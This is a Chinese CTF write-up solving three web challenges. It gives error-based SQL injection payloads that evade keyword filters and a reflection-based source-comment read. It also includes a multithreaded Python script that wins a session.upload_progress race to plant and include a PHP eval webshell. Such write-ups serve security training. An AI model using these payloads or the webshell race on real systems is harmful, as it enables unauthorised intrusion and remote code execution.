Web
easy_sql
SQLMap 无列名注入 报错注入
SQLMap一把梭,就扫出来一个security数据库和id表,里面的东西都是假的。
尝试fuzz一下,发现ban掉了union column information等关键字,payload上出现这些字眼直接返回一个no。
由于column关键字被ban,因此尝试报错+无列名注入。
uname=admin') AND EXTRACTVALUE(9099,CONCAT(0x5c,(select * from (select * from flag as a join flag b using(id,no))c))) --eRoM&passwd=123456&Submit=%E7%99%BB%E5%BD%95
uname=admin') ANDEXTRACTVALUE(9099,CONCAT(0x5c,(left((select `6b6d7c04-f4ff-4217-b108-79d0343ceb88` from flag),32)))) --eRoM&passwd=123456&Submit=%E7%99%BB%E5%BD%95
得到flag
easy_source
.swo文件泄露 ReflectionMethod 读取注释
笑死,审题人大失误,居然是原题,payload都不带改一下的
https://r0yanx.com/2020/10/28/fslh-writeup/
首先发现.swo文件泄露 .index.php.swo (一定不要忘记.)
得到源码,flag藏在某个类的注释之中,于是可以尝试ReflectionMethod 的GetDocComment来获取类的注释。
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
middle_source
https://www.freebuf.com/news/202819.html
session.upload_progress是php5.4新增的功能,说白了就是将文件上传的进度存储在session中。
本题有一个很坑爹的地方,就是.listing文件,这是一个索引文件,会将当前目录的结构存储在这个文件里面。通过访问这个.listing文件,发现了you_can_seeeeeeee_me.php,审计其,发现PHP_SESSION_UPLOAD_PROGRESS这个选项是On的,说明可以尝试session.upload_progress进行文件包含。同时也发现了session的存储目录:/var/lib/php/sessions/ceahhifgia/sess_.
同时,session.use_strict_mode是off的,所以我们可以自己定义一个session,比如我们指定Cookie PHPSESSID=ABC,就会在session下生成一个sess_ABC的文件。但是session.upload_progress.cleanup处于开启状态,此session文件在上传后就会被自动清除,因此需要一个脚本进行条件竞争。
#coding=utf-8
import io
import requests
import threading
sessid = 'flag'
data = {"cmd":"var_dump(scandir('/etc'));","cf":"../../../../var/lib/php/sessions/aabcdbdcea/sess_"+sessid}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://123.60.214.2:26230/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('zhushu.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://123.60.214.2:26230/',data=data)
if 'zhushu.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
最终找到flag所在位置/etc/ahhadfehie/bbeffdceha/ibdafffefh/cfhcdedbfd/bgjbiceiei/fl444444g
剩余题目在等复现环境...

Comments | 2 条评论
能问一下这些题目哪里有环境嘛
@hkcc 目前BUUOJ上上了一些